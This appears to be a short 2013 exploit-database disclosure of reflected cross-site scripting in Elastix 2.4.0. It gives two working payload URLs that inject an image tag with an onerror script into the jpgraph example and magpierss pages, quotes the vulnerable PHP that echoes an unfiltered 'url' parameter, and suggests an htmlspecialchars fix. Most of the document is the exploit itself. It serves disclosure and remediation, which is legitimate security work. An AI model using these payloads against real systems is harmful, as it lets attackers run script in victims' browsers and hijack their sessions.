# Exploit Title: elastix 2.4.0 XSS Vulnerability
# Date: 28/05/2013
# Exploit Author: cheki
# Vendor Homepage: elastix.org
# Software Link: http://www.elastix.org/index.php/en/downloads/main-distro.html
# Version: Elastix 2.4.0 Stable
# CVE : [not yet]
-------------------------------------------------------------------------------------
exploit: https://10.10.10.78/libs/jpgraph/Examples/bar_csimex3.php/"><IMg srC= x OnerRoR = alert(1337)>
exploit2: https://10.10.10.78/libs/magpierss/scripts/magpie_simple.php?url="><IMg+srC%3D+x+OnerRoR+%3D+alert(1337)>
--------------------------------------------------------------------------------------
Vul Code:
-----------------------------------------------
<?php
define('MAGPIE_DIR', '../');
require_once(MAGPIE_DIR.'rss_fetch.inc');
$url = $_GET['url']; //GET Parameter Without filter
if ( $url ) {
$rss = fetch_rss( $url );
echo "Channel: " . $rss->channel['title'] . "<p>";
echo "<ul>";
foreach ($rss->items as $item) {
$href = $item['link'];
$title = $item['title'];
echo "<li><a href=$href>$title</a></li>";
}
echo "</ul>";
}
?>
--------------------------------------------------
FOR ELASTIX development team
$url = $_GET['url']; // LOL
$url = htmlspecialchars($_GET['url']);
-------------------------------------------------
